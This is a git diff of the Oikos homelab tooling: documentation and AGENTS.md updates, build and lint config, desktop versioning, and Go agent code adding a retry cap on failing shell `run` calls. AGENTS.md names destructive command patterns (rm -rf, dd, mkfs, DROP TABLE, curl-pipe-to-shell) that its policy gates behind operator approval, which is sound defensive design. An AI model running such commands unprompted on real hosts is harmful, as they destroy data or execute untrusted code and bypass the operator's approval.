# YYYY-MM-DD — <title>
|
||||||
@@ -152,16 +152,18 @@ Changelog entries to write, index status to update.
|
|||||||
## Same-session update rule
|
## Same-session update rule
|
||||||
|
|
||||||
When you make a change to a node — migrate an LXC, update an IP, change a
|
When you make a change to a node — migrate an LXC, update an IP, change a
|
||||||
mount, deploy a new service — **update every relevant doc page in the same
|
mount, deploy a new service — **update the DB and every relevant doc page in
|
||||||
session.** A change that touches a container page must also update:
|
the same session.** A change that touches a container must also update:
|
||||||
|
|
||||||
- The `containers/index.md` table (IPs, host, mounts, status)
|
- The `entities` / `relationships` rows for the node (via the API/MCP) —
|
||||||
|
this is the source of truth
|
||||||
|
- The `document` entity's `at_glance` and `## Changelog` for the container
|
||||||
|
- The `containers/index.md` table in the archived wiki (IPs, host, mounts,
|
||||||
|
status) — historical reference, update for consistency where still consulted
|
||||||
- The `README.md` table (if the change affects listed columns)
|
- The `README.md` table (if the change affects listed columns)
|
||||||
- The Caddy page site list (if the change affects `*.hubris.network` routing)
|
- The Caddy page site list (if the change affects `*.hubris.network` routing)
|
||||||
- The DNS / ingress infrastructure pages (if the change affects routing)
|
- The DNS / ingress infrastructure pages (if the change affects routing)
|
||||||
- The `hosts/{hubris,strong}.md` host page (if container count changes)
|
- The `hosts/{hubris,strong}.md` host page (if container count changes)
|
||||||
- The `inventory.yaml` host entry (single source of truth)
|
|
||||||
- The `infrastructure/topology.md` (generated from inventory, but regen if needed)
|
|
||||||
|
|
||||||
The pattern of updating only one page and leaving stale references on others
|
The pattern of updating only one page and leaving stale references on others
|
||||||
is a bug. If you're doing a multi-step migration, document the intermediate
|
is a bug. If you're doing a multi-step migration, document the intermediate
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ Every doc-level page follows the same shape so a reader scans it in one pass.
|
|||||||
1. **One H1 = the page title.** Node pages use `# <id> — \`<name>\``; topic pages use `# <Topic>`.
|
1. **One H1 = the page title.** Node pages use `# <id> — \`<name>\``; topic pages use `# <Topic>`.
|
||||||
2. **Opening definition.** First paragraph, 1–3 sentences, says what the thing is. No motivation, no marketing, no setup.
|
2. **Opening definition.** First paragraph, 1–3 sentences, says what the thing is. No motivation, no marketing, no setup.
|
||||||
3. **Body sections** in the natural order for the topic. Reuse the section templates in [page-templates.md](page-templates.md).
|
3. **Body sections** in the natural order for the topic. Reuse the section templates in [page-templates.md](page-templates.md).
|
||||||
4. **`## Changelog`** at the bottom of every node/topic page — reverse-chronological, append-only. This section is machine-parsed (Go MCP `get_changelog` in `internal/mcp/server.go`); keep the `### YYYY-MM-DD — title` shape.
|
4. **`## Changelog`** at the bottom of every node/topic page — reverse-chronological, append-only. This section is stored as a structured field on the `document` entity in the DB; keep the `### YYYY-MM-DD — title` shape so it parses cleanly.
|
||||||
5. **Related links** only at the bottom, only when a reference cannot be woven inline.
|
5. **Related links** only at the bottom, only when a reference cannot be woven inline.
|
||||||
|
|
||||||
## Section indexes (folder READMEs)
|
## Section indexes (folder READMEs)
|
||||||
@@ -53,12 +53,12 @@ duplicated prose, no narrative between the intro and the table.
|
|||||||
- Prefer **tables** for enumerable items with internal structure (service/port maps, field lists, status grids). Reserve bullets for short non-structured lists.
|
- Prefer **tables** for enumerable items with internal structure (service/port maps, field lists, status grids). Reserve bullets for short non-structured lists.
|
||||||
- Use the **bold-leading-phrase pattern** for structured points: `**Read-only by construction.** The MCP server never mutates state.` — a bold noun phrase, a period, then the explanation.
|
- Use the **bold-leading-phrase pattern** for structured points: `**Read-only by construction.** The MCP server never mutates state.` — a bold noun phrase, a period, then the explanation.
|
||||||
- When enumerating across services or nodes, give each its own `###` sub-section or a table row, not one run-on paragraph.
|
- When enumerating across services or nodes, give each its own `###` sub-section or a table row, not one run-on paragraph.
|
||||||
- Use backticks for code, paths, hostnames, and file names (`inventory.yaml`, `192.168.8.77`, `pct config`); italics for first-mention terminology.
|
- Use backticks for code, paths, hostnames, and file names (`seeds/inventory.yaml`, `192.168.8.77`, `pct config`); italics for first-mention terminology.
|
||||||
- Use `>` blockquotes for caveats and gaps that interrupt the main flow: `> **Outstanding gap.** DNS-vs-inventory drift check not yet wired.` One thought per blockquote.
|
- Use `>` blockquotes for caveats and gaps that interrupt the main flow: `> **Outstanding gap.** DNS-vs-inventory drift check not yet wired.` One thought per blockquote.
|
||||||
|
|
||||||
## Diagrams
|
## Diagrams
|
||||||
|
|
||||||
- Mermaid is the default for topology and flow diagrams. `infrastructure/topology.md` is generated by `oikos/gen-topology.py` — do not hand-edit it. (Go DB-native topology generation planned.)
|
- Mermaid is the default for topology and flow diagrams. `infrastructure/topology.md` in the archived wiki was generated by the retired `oikos/gen-topology.py`; the DB-native equivalent is a future task — do not hand-edit the archived file expecting it to regenerate.
|
||||||
- ASCII box diagrams are fine for small shape diagrams; keep them to one screen.
|
- ASCII box diagrams are fine for small shape diagrams; keep them to one screen.
|
||||||
|
|
||||||
## Sourcing and cross-references
|
## Sourcing and cross-references
|
||||||
|
|||||||
@@ -5,7 +5,8 @@
|
|||||||
"name": "web",
|
"name": "web",
|
||||||
"runtimeExecutable": "sh",
|
"runtimeExecutable": "sh",
|
||||||
"runtimeArgs": ["-c", "export OIKOS_API_TOKEN=$(docker inspect -f '{{range .Config.Env}}{{println .}}{{end}}' oikos-api-1 | sed -n 's/^OIKOS_MCP_BEARER_TOKEN=//p'); exec npm --prefix web run dev"],
|
"runtimeArgs": ["-c", "export OIKOS_API_TOKEN=$(docker inspect -f '{{range .Config.Env}}{{println .}}{{end}}' oikos-api-1 | sed -n 's/^OIKOS_MCP_BEARER_TOKEN=//p'); exec npm --prefix web run dev"],
|
||||||
"port": 5173
|
"port": 5173,
|
||||||
|
"autoPort": true
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -70,3 +70,30 @@ jobs:
|
|||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- name: docker build (verify image builds; no push)
|
- name: docker build (verify image builds; no push)
|
||||||
run: docker build -f compose/oikos/Dockerfile -t oikos:ci .
|
run: docker build -f compose/oikos/Dockerfile -t oikos:ci .
|
||||||
|
|
||||||
|
web:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
defaults:
|
||||||
|
run:
|
||||||
|
working-directory: web
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '22'
|
||||||
|
cache: npm
|
||||||
|
cache-dependency-path: web/package-lock.json
|
||||||
|
- run: npm ci
|
||||||
|
- name: svelte-check (advisory — baseline not yet clean)
|
||||||
|
run: npm run check
|
||||||
|
continue-on-error: true
|
||||||
|
- name: eslint (advisory — baseline not yet clean)
|
||||||
|
run: npm run lint
|
||||||
|
continue-on-error: true
|
||||||
|
- name: prettier format check (advisory — baseline not yet clean)
|
||||||
|
run: npm run format:check
|
||||||
|
continue-on-error: true
|
||||||
|
- name: test
|
||||||
|
run: npm run test
|
||||||
|
- name: build
|
||||||
|
run: npm run build
|
||||||
|
|||||||
41
.golangci.yml
Normal file
41
.golangci.yml
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
# golangci-lint configuration for Oikos
|
||||||
|
# Docs: https://golangci-lint.run/usage/configuration/
|
||||||
|
run:
|
||||||
|
timeout: 5m
|
||||||
|
tests: true
|
||||||
|
|
||||||
|
linters:
|
||||||
|
enable:
|
||||||
|
- govet # go vet
|
||||||
|
- staticcheck # advanced static analysis
|
||||||
|
- ineffassign # detect ineffectual assignments
|
||||||
|
- unused # find unused identifiers
|
||||||
|
- errcheck # check for unchecked errors
|
||||||
|
- gosimple # simplifications
|
||||||
|
- typecheck # standard type checking
|
||||||
|
- misspell # find commonly misspelled English words in comments
|
||||||
|
- revive # fast, configurable linter (replaces golint)
|
||||||
|
|
||||||
|
linters-settings:
|
||||||
|
errcheck:
|
||||||
|
# Allow unchecked errors on common Close/Flush patterns (deferred cleanup)
|
||||||
|
exclude-functions:
|
||||||
|
- (io.Closer).Close
|
||||||
|
- (*os.File).Close
|
||||||
|
|
||||||
|
issues:
|
||||||
|
# Exclude generated code
|
||||||
|
exclude-rules:
|
||||||
|
- path: _test\.go
|
||||||
|
linters:
|
||||||
|
- errcheck
|
||||||
|
- path: internal/httpapi/gen/
|
||||||
|
linters:
|
||||||
|
- all
|
||||||
|
- path: internal/db/sqlcgen/
|
||||||
|
linters:
|
||||||
|
- all
|
||||||
|
# Don't auto-exclude common patterns
|
||||||
|
exclude-use-default: false
|
||||||
|
max-issues-per-linter: 0
|
||||||
|
max-same-issues: 0
|
||||||
42
AGENTS.md
42
AGENTS.md
@@ -1,7 +1,7 @@
|
|||||||
# AGENTS.md — orientation for any agent on a homelab client
|
# AGENTS.md — orientation for any agent on a homelab client
|
||||||
|
|
||||||
You are running on a machine that is part of the **hubris** homelab. The full
|
You are running on a machine that is part of the **hubris** homelab. The full
|
||||||
context is in this checkout at `/opt/homelab-context/`. This file is the entry
|
context is in this checkout at `/opt/homelab/`. This file is the entry
|
||||||
point. Read it once at start, then keep working.
|
point. Read it once at start, then keep working.
|
||||||
|
|
||||||
- **New client?** Read [CLIENTS.md](CLIENTS.md) first.
|
- **New client?** Read [CLIENTS.md](CLIENTS.md) first.
|
||||||
@@ -30,7 +30,7 @@ is archived at `archive/knowledge/` for historical reference.
|
|||||||
|
|
||||||
Run `hostname` (Linux) or `scutil --get LocalHostName` (macOS), then read:
|
Run `hostname` (Linux) or `scutil --get LocalHostName` (macOS), then read:
|
||||||
|
|
||||||
/opt/homelab-context/inventory.yaml
|
/opt/homelab/inventory.yaml
|
||||||
|
|
||||||
That file tells you your role, your peers, what's mounted, and what services
|
That file tells you your role, your peers, what's mounted, and what services
|
||||||
you host. If it does not exist, this client was not enrolled — stop and tell
|
you host. If it does not exist, this client was not enrolled — stop and tell
|
||||||
@@ -39,12 +39,13 @@ the operator; see [CLIENTS.md](CLIENTS.md#enrollment) for the enrollment flow
|
|||||||
|
|
||||||
## 2. The topology
|
## 2. The topology
|
||||||
|
|
||||||
- `/opt/homelab-context/inventory.yaml` — every host, LXC, VM, and workstation
|
- `/opt/homelab/inventory.yaml` — every host, LXC, VM, and workstation
|
||||||
with their mesh addresses, roles, and service mappings. This is the seed file;
|
with their mesh addresses, roles, and service mappings. This is the seed file;
|
||||||
at runtime the DB is authoritative (query via MCP `get_entity` or the REST API).
|
at runtime the DB is authoritative (query via MCP `get_entity` or the REST API).
|
||||||
- `/opt/homelab-context/seeds/knowledge.yaml` — full narrative knowledge: 36
|
- `/opt/homelab/seeds/knowledge.yaml` — full narrative knowledge
|
||||||
documents, 6 investigations, 12 runbooks. Ingested into the DB on deploy.
|
(documents, investigations, runbooks). Counts are not hardcoded here; count
|
||||||
- `/opt/homelab-context/.agents/operations/commands.md` — the operator's cheatsheet
|
them from the seed or query the DB. Ingested into the DB on deploy.
|
||||||
|
- `/opt/homelab/.agents/operations/commands.md` — the operator's cheatsheet
|
||||||
for pct, caddy, DNS, and the Oikos command surface.
|
for pct, caddy, DNS, and the Oikos command surface.
|
||||||
|
|
||||||
## 3. The MCP server
|
## 3. The MCP server
|
||||||
@@ -55,7 +56,8 @@ Endpoint: `https://mcp.hubris.network/mcp`. Every call needs
|
|||||||
enrollment and `/healthz` (see "Authentication" below for where the token
|
enrollment and `/healthz` (see "Authentication" below for where the token
|
||||||
comes from).
|
comes from).
|
||||||
|
|
||||||
Available tools (33 total):
|
Available tools (the authoritative list — count them below if a number is
|
||||||
|
needed; do not hardcode the count elsewhere):
|
||||||
|
|
||||||
Context — observe + orient:
|
Context — observe + orient:
|
||||||
get_entity(slug), list_entities(type, limit, cursor),
|
get_entity(slug), list_entities(type, limit, cursor),
|
||||||
@@ -111,10 +113,9 @@ Available tools (33 total):
|
|||||||
operator approval, and destructive patterns (rm -rf, dd, mkfs,
|
operator approval, and destructive patterns (rm -rf, dd, mkfs,
|
||||||
pct/qm destroy, DROP TABLE, reboot, curl-pipe-to-shell, ...) always
|
pct/qm destroy, DROP TABLE, reboot, curl-pipe-to-shell, ...) always
|
||||||
need approval regardless of what you declare. This is the ONLY
|
need approval regardless of what you declare. This is the ONLY
|
||||||
mutation tool — `request_execution` was retired 2026-07-14.
|
mutation tool — `request_execution` was retired 2026-07-14; the
|
||||||
`run` — the general execution primitive. Run any shell
|
former enum actions (restart, systemctl, pct_exec, apt_upgrade,
|
||||||
(restart, systemctl, pct_exec, apt_upgrade, pct_create). Still the
|
pct_create) are all expressed as `run(target, command)` now.
|
||||||
route for those specific actions; policy-gated the same way `run` is.
|
|
||||||
get_execution_status(execution_id) — poll progress
|
get_execution_status(execution_id) — poll progress
|
||||||
|
|
||||||
**When to prefer MCP over grepping the clone:** always for knowledge queries.
|
**When to prefer MCP over grepping the clone:** always for knowledge queries.
|
||||||
@@ -145,8 +146,8 @@ POST /api/v1/knowledge/{entity_slug}
|
|||||||
{"title": "...", "content": "...", "tags": ["..."]}
|
{"title": "...", "content": "...", "tags": ["..."]}
|
||||||
```
|
```
|
||||||
|
|
||||||
The DB is the truth. The old wiki files are in `knowledge/wiki/` pending archive
|
The DB is the truth. The old wiki files are archived at `archive/knowledge/`
|
||||||
per the DB-as-source-of-truth plan.
|
(historical reference only — use MCP `search_knowledge` for live queries).
|
||||||
|
|
||||||
- **Runbook procedures** live as `runbook` entities in the DB and as SKILL.md
|
- **Runbook procedures** live as `runbook` entities in the DB and as SKILL.md
|
||||||
files under `.agents/skills/<name>/`. They carry `risk_class`, `procedure`
|
files under `.agents/skills/<name>/`. They carry `risk_class`, `procedure`
|
||||||
@@ -162,8 +163,8 @@ per the DB-as-source-of-truth plan.
|
|||||||
## 6. Acting on the homelab
|
## 6. Acting on the homelab
|
||||||
|
|
||||||
- **Read state**: use MCP tools. Nomos (the AI agent) is the primary
|
- **Read state**: use MCP tools. Nomos (the AI agent) is the primary
|
||||||
operator interface — it has 33 MCP tools for observe/orient/decide/act
|
operator interface — it routes to the MCP tool list in §3 for
|
||||||
(§3).
|
observe/orient/decide/act.
|
||||||
- **Actions** (restart, logs, apt, pct exec, or anything else): Nomos calls
|
- **Actions** (restart, logs, apt, pct exec, or anything else): Nomos calls
|
||||||
`run` (the general execution primitive) via MCP. `reversible_low`/read-only actions execute
|
`run` (the general execution primitive) via MCP. `reversible_low`/read-only actions execute
|
||||||
immediately; `config_mutation` and `destructive` actions are queued for
|
immediately; `config_mutation` and `destructive` actions are queued for
|
||||||
@@ -178,7 +179,7 @@ per the DB-as-source-of-truth plan.
|
|||||||
|
|
||||||
## 7. Communication mode
|
## 7. Communication mode
|
||||||
|
|
||||||
Read and apply `/opt/homelab-context/.agents/shared/caveman.md` (if present). It defines the lab's
|
Read and apply `/opt/homelab/.agents/shared/caveman.md` (if present). It defines the lab's
|
||||||
terse-communication standard — drop filler, keep substance, use fragments.
|
terse-communication standard — drop filler, keep substance, use fragments.
|
||||||
|
|
||||||
## 8. Auto-setup mechanism
|
## 8. Auto-setup mechanism
|
||||||
@@ -191,16 +192,15 @@ on every client after `git pull`. This is handled by `tools/post-pull.sh`
|
|||||||
Currently auto-setup:
|
Currently auto-setup:
|
||||||
- **Host checks** (`tools/setup-checks.sh`): Deploys `checks/install.sh`'s
|
- **Host checks** (`tools/setup-checks.sh`): Deploys `checks/install.sh`'s
|
||||||
health-check scripts to `/opt/oikos/checks` on each host. The scheduler's
|
health-check scripts to `/opt/oikos/checks` on each host. The scheduler's
|
||||||
`ssh-script` check kind depends on these actually being there — 20 are
|
`ssh-script` check kind depends on these actually being there (count is
|
||||||
live in the DB as of 2026-07-12.
|
whatever is currently seeded in the DB — do not hardcode it here).
|
||||||
|
|
||||||
To add a new auto-setup, create `tools/setup-<name>.sh` in the repo,
|
To add a new auto-setup, create `tools/setup-<name>.sh` in the repo,
|
||||||
commit and push. All enrolled clients pick it up within 5 minutes.
|
commit and push. All enrolled clients pick it up within 5 minutes.
|
||||||
|
|
||||||
To trigger sync manually: run `/opt/homelab/tools/context-poller.sh`, or
|
To trigger sync manually: run `/opt/homelab/tools/context-poller.sh`, or
|
||||||
wait for the 5-min timer. (This mechanism — and the server-side
|
wait for the 5-min timer. (The server-side `tools_changed` detection only
|
||||||
`tools_changed` detection behind it — only correctly recognized
|
correctly recognizes `setup-*.sh` scripts — earlier it silently matched
|
||||||
`setup-*.sh` scripts as of 2026-07-12; before that it silently matched
|
|
||||||
nothing, so nothing auto-ran on any client via this path.)
|
nothing, so nothing auto-ran on any client via this path.)
|
||||||
|
|
||||||
## 9. Versioning
|
## 9. Versioning
|
||||||
|
|||||||
@@ -51,7 +51,7 @@ The app stores credentials via `github.com/zalando/go-keyring` (service: `com.hu
|
|||||||
- Checks Gitea releases every 6 hours
|
- Checks Gitea releases every 6 hours
|
||||||
- System tray → **Check for Updates** triggers an immediate check
|
- System tray → **Check for Updates** triggers an immediate check
|
||||||
- Download, extract, replace the app in `/Applications`, and relaunch
|
- Download, extract, replace the app in `/Applications`, and relaunch
|
||||||
- Versions are compared against the `version` const in `main.go`
|
- Versions are compared against the `version` var in `main.go`, injected from the repo `VERSION` file at link time (`make desktop` passes `-ldflags "-X main.version=$(cat VERSION)"`)
|
||||||
|
|
||||||
## Project structure
|
## Project structure
|
||||||
|
|
||||||
|
|||||||
21
Makefile
21
Makefile
@@ -1,9 +1,10 @@
|
|||||||
.PHONY: build webhook test test-db lint generate generate-check dev migrate seed export clean tidy ui desktop desktop-package install
|
.PHONY: build webhook test test-db lint generate generate-check dev migrate seed export clean tidy ui desktop desktop-package install
|
||||||
|
|
||||||
BINARY := oikos
|
BINARY := bin/oikos
|
||||||
GO ?= go
|
GO ?= go
|
||||||
|
|
||||||
build:
|
build:
|
||||||
|
mkdir -p bin
|
||||||
$(GO) build -o $(BINARY) -tags timetzdata ./cmd/oikos
|
$(GO) build -o $(BINARY) -tags timetzdata ./cmd/oikos
|
||||||
|
|
||||||
webhook:
|
webhook:
|
||||||
@@ -19,9 +20,18 @@ test-db:
|
|||||||
OIKOS_TEST_DATABASE_URL="postgres://oikos:$${OIKOS_DB_PASSWORD:-oikos_dev}@localhost:5432/oikos?sslmode=disable" \
|
OIKOS_TEST_DATABASE_URL="postgres://oikos:$${OIKOS_DB_PASSWORD:-oikos_dev}@localhost:5432/oikos?sslmode=disable" \
|
||||||
$(GO) test -race -count=1 ./internal/db/ ./internal/httpapi/ ./internal/mcp/
|
$(GO) test -race -count=1 ./internal/db/ ./internal/httpapi/ ./internal/mcp/
|
||||||
|
|
||||||
lint:
|
lint: vet golangci govulncheck
|
||||||
|
|
||||||
|
vet:
|
||||||
$(GO) vet ./...
|
$(GO) vet ./...
|
||||||
@command -v golangci-lint >/dev/null 2>&1 && golangci-lint run || echo "golangci-lint not installed, skipping"
|
|
||||||
|
golangci:
|
||||||
|
@command -v golangci-lint >/dev/null 2>&1 && golangci-lint run --config .golangci.yml || echo "golangci-lint not installed — see https://golangci-lint.run/usage/install/"
|
||||||
|
|
||||||
|
govulncheck:
|
||||||
|
@command -v govulncheck >/dev/null 2>&1 && govulncheck ./... || echo "govulncheck not installed — run: go install golang.org/x/vuln/cmd/govulncheck@latest"
|
||||||
|
|
||||||
|
.PHONY: lint vet golangci govulncheck
|
||||||
|
|
||||||
generate:
|
generate:
|
||||||
$(GO) run github.com/oapi-codegen/oapi-codegen/v2/cmd/oapi-codegen@v2.4.1 \
|
$(GO) run github.com/oapi-codegen/oapi-codegen/v2/cmd/oapi-codegen@v2.4.1 \
|
||||||
@@ -56,7 +66,7 @@ desktop: ui ## Build the Wails desktop app for the current platform
|
|||||||
rm -rf cmd/desktop/frontend/dist
|
rm -rf cmd/desktop/frontend/dist
|
||||||
mkdir -p cmd/desktop/frontend/dist
|
mkdir -p cmd/desktop/frontend/dist
|
||||||
cp -r web/dist/* cmd/desktop/frontend/dist/
|
cp -r web/dist/* cmd/desktop/frontend/dist/
|
||||||
cd cmd/desktop && CGO_ENABLED=1 go build -o build/bin/Oikos .
|
cd cmd/desktop && CGO_ENABLED=1 go build -ldflags "-X main.version=$$(cat ../VERSION)" -o build/bin/Oikos .
|
||||||
|
|
||||||
desktop-package: desktop ## Build + package the desktop app (zip on macOS, tar.gz on Linux)
|
desktop-package: desktop ## Build + package the desktop app (zip on macOS, tar.gz on Linux)
|
||||||
@case $$(uname -s) in \
|
@case $$(uname -s) in \
|
||||||
@@ -67,7 +77,7 @@ desktop-package: desktop ## Build + package the desktop app (zip on macOS, tar
|
|||||||
mkdir -p "$$APP/Contents/Resources"; \
|
mkdir -p "$$APP/Contents/Resources"; \
|
||||||
cp cmd/desktop/build/bin/Oikos "$$APP/Contents/MacOS/Oikos"; \
|
cp cmd/desktop/build/bin/Oikos "$$APP/Contents/MacOS/Oikos"; \
|
||||||
cp cmd/desktop/icon.icns "$$APP/Contents/Resources/icon.icns"; \
|
cp cmd/desktop/icon.icns "$$APP/Contents/Resources/icon.icns"; \
|
||||||
sed 's/$$(VERSION)/0.1.0/' cmd/desktop/Info.plist.template > "$$APP/Contents/Info.plist"; \
|
sed "s/\$$(VERSION)/$$(cat VERSION)/" cmd/desktop/Info.plist.template > "$$APP/Contents/Info.plist"; \
|
||||||
cd cmd/desktop/build/bin && zip -r oikos-desktop-darwin-$$(uname -m).zip Oikos.app ;; \
|
cd cmd/desktop/build/bin && zip -r oikos-desktop-darwin-$$(uname -m).zip Oikos.app ;; \
|
||||||
Linux) \
|
Linux) \
|
||||||
cd cmd/desktop/build/bin && tar czf oikos-desktop-linux-$$(uname -m).tar.gz Oikos ;; \
|
cd cmd/desktop/build/bin && tar czf oikos-desktop-linux-$$(uname -m).tar.gz Oikos ;; \
|
||||||
@@ -81,6 +91,7 @@ install: desktop-package ## Install to /Applications
|
|||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -f $(BINARY)
|
rm -f $(BINARY)
|
||||||
|
rm -rf bin
|
||||||
rm -rf cmd/desktop/build
|
rm -rf cmd/desktop/build
|
||||||
rm -rf cmd/desktop/frontend/dist
|
rm -rf cmd/desktop/frontend/dist
|
||||||
$(GO) clean -testcache
|
$(GO) clean -testcache
|
||||||
|
|||||||
13
README.md
13
README.md
@@ -49,7 +49,7 @@ cd web && OIKOS_API_TOKEN=dev-token npm run dev # http://localhost:5173
|
|||||||
|
|
||||||
| Component | Port | Role |
|
| Component | Port | Role |
|
||||||
|-----------|------|------|
|
|-----------|------|------|
|
||||||
| `oikos api` | 8090 | REST API + MCP server (15 tools) |
|
| `oikos api` | 8090 | REST API + MCP server (tool list in [AGENTS.md §3](AGENTS.md#3-the-mcp-server)) |
|
||||||
| `oikos scheduler` | — | Probe runner, signal lifecycle, metrics |
|
| `oikos scheduler` | — | Probe runner, signal lifecycle, metrics |
|
||||||
| `oikos notifier` | — | Approval tokens, Matrix alerts |
|
| `oikos notifier` | — | Approval tokens, Matrix alerts |
|
||||||
| `nomos serve` | 8092 | MCP client gateway, query routing |
|
| `nomos serve` | 8092 | MCP client gateway, query routing |
|
||||||
@@ -112,8 +112,8 @@ oikos secret migrate # SOPS → Infisical
|
|||||||
part of `docker-compose.yml`. It talks to `api`/`nomos` over HTTP with a
|
part of `docker-compose.yml`. It talks to `api`/`nomos` over HTTP with a
|
||||||
bearer token entered on first launch (see `web/src/pages/Config.svelte`).
|
bearer token entered on first launch (see `web/src/pages/Config.svelte`).
|
||||||
Build with `make ui`, deploy with `make deploy-ui` (Caddy serves the static
|
Build with `make ui`, deploy with `make deploy-ui` (Caddy serves the static
|
||||||
output). A native desktop wrapper is planned — see
|
output). A native desktop wrapper exists at `cmd/desktop/` — see
|
||||||
[plans/2026-07-12-wails-desktop-app.md](plans/2026-07-12-wails-desktop-app.md).
|
[plans/done/2026-07-12-wails-desktop-app.md](plans/done/2026-07-12-wails-desktop-app.md).
|
||||||
|
|
||||||
## Repo layout
|
## Repo layout
|
||||||
|
|
||||||
@@ -121,9 +121,10 @@ output). A native desktop wrapper is planned — see
|
|||||||
cmd/oikos/ Go entry point — single binary
|
cmd/oikos/ Go entry point — single binary
|
||||||
cmd/nomos/ Nomos MCP client gateway
|
cmd/nomos/ Nomos MCP client gateway
|
||||||
cmd/webhook/ Gitea deploy-webhook receiver (push-to-deploy on mac-mini)
|
cmd/webhook/ Gitea deploy-webhook receiver (push-to-deploy on mac-mini)
|
||||||
internal/ Go packages (httpapi, mcp, scheduler, actuator, learning,
|
cmd/desktop/ Wails desktop wrapper around the SPA
|
||||||
notifier, policy, secrets, db, config, ontology, domain,
|
internal/ Go packages (actuator, checkdefaults, config, db, domain,
|
||||||
knowledge)
|
httpapi, knowledge, learning, mcp, notifier, observability,
|
||||||
|
ontology, policy, safego, scheduler, secrets)
|
||||||
web/ Control-room SPA (Svelte 5) — standalone, not embedded
|
web/ Control-room SPA (Svelte 5) — standalone, not embedded
|
||||||
api/openapi.yaml API contract (OpenAPI 3.1)
|
api/openapi.yaml API contract (OpenAPI 3.1)
|
||||||
migrations/ Forward-only SQL migrations (TimescaleDB)
|
migrations/ Forward-only SQL migrations (TimescaleDB)
|
||||||
|
|||||||
@@ -36,13 +36,17 @@ var iconPNG []byte
|
|||||||
const (
|
const (
|
||||||
keyringService = "com.hubris.oikos-desktop"
|
keyringService = "com.hubris.oikos-desktop"
|
||||||
keyringUser = "oikos"
|
keyringUser = "oikos"
|
||||||
version = "0.1.0"
|
|
||||||
updateURL = "https://git.hubris.network/api/v1/repos/dtoro/oikos/releases"
|
updateURL = "https://git.hubris.network/api/v1/repos/dtoro/oikos/releases"
|
||||||
pollInterval = 30 * time.Second
|
pollInterval = 30 * time.Second
|
||||||
updateInterval = 6 * time.Hour
|
updateInterval = 6 * time.Hour
|
||||||
oidcCallbackPort = 18901
|
oidcCallbackPort = 18901
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// version is injected at link time via -ldflags "-X main.version=$(cat VERSION)"
|
||||||
|
// (Makefile desktop target). The default keeps a non-empty fallback for
|
||||||
|
// `go build ./cmd/desktop` without ldflags.
|
||||||
|
var version = "0.1.0-dev"
|
||||||
|
|
||||||
type OikosConfig struct {
|
type OikosConfig struct {
|
||||||
ApiUrl string `json:"apiUrl"`
|
ApiUrl string `json:"apiUrl"`
|
||||||
Token string `json:"token,omitempty"`
|
Token string `json:"token,omitempty"`
|
||||||
|
|||||||
@@ -349,6 +349,15 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
messages = append(messages, openai.SystemMessage(systemInject))
|
messages = append(messages, openai.SystemMessage(systemInject))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Retry cap (P0.1 from plans/2026-07-18-session-review-three-sessions.md):
|
||||||
|
// track failing `run` calls within this turn so an identical command that
|
||||||
|
// keeps failing is refused after maxRunRetries attempts. Without this,
|
||||||
|
// session 1e9c7691 retried the same `chown` ~20 times, each retry piling
|
||||||
|
// up a zombie process on the target (knfsd was holding a kernel lock).
|
||||||
|
// The tracker is per-turn — a fresh turn after the operator responds can
|
||||||
|
// retry once more, so this doesn't permanently block recovery.
|
||||||
|
retries := newRunRetryTracker()
|
||||||
|
|
||||||
for i := 0; i < maxIterations; i++ {
|
for i := 0; i < maxIterations; i++ {
|
||||||
params := openai.ChatCompletionNewParams{
|
params := openai.ChatCompletionNewParams{
|
||||||
Model: openai.ChatModel(a.model),
|
Model: openai.ChatModel(a.model),
|
||||||
@@ -467,6 +476,33 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
sawCompleteTask = true
|
sawCompleteTask = true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Retry cap: if this `run` call has already failed
|
||||||
|
// maxRunRetries times this turn with the same (target,
|
||||||
|
// command), refuse to dispatch it again. Return a synthetic
|
||||||
|
// tool result directing the agent to investigate *why* the
|
||||||
|
// command hangs instead of retrying. See retrycap.go and
|
||||||
|
// plans/2026-07-18-session-review-three-sessions.md P0.1.
|
||||||
|
if tc.Function.Name == "run" {
|
||||||
|
t, _ := args["target"].(string)
|
||||||
|
c, _ := args["command"].(string)
|
||||||
|
key := runFailureKey(t, c)
|
||||||
|
if n := retries.failures(key); n >= maxRunRetries {
|
||||||
|
directive := runRetryDirective(t, c, n)
|
||||||
|
slog.Warn("nomos: run retry cap hit — refusing dispatch",
|
||||||
|
"target", t, "failures", n, "session", sessionID)
|
||||||
|
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args,
|
||||||
|
tc.Function.Arguments, directive, 0, false, correlationID)
|
||||||
|
emit(agentEvent{
|
||||||
|
Type: "tool_result",
|
||||||
|
Data: map[string]any{"name": tc.Function.Name, "result": directive, "id": tc.ID, "retry_capped": true},
|
||||||
|
SessionID: sessionID,
|
||||||
|
Iteration: i + 1,
|
||||||
|
})
|
||||||
|
messages = append(messages, openai.ToolMessage(directive, tc.ID))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
emit(agentEvent{
|
emit(agentEvent{
|
||||||
Type: "tool_use",
|
Type: "tool_use",
|
||||||
Data: map[string]any{"name": tc.Function.Name, "args": args, "id": tc.ID},
|
Data: map[string]any{"name": tc.Function.Name, "args": args, "id": tc.ID},
|
||||||
@@ -508,6 +544,22 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
if callErr != nil {
|
if callErr != nil {
|
||||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, callErr.Error(), elapsed, false, correlationID)
|
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, callErr.Error(), elapsed, false, correlationID)
|
||||||
|
|
||||||
|
// Retry cap: dispatch errors (e.g. MCP client timeout)
|
||||||
|
// count toward the cap too. A command that keeps timing
|
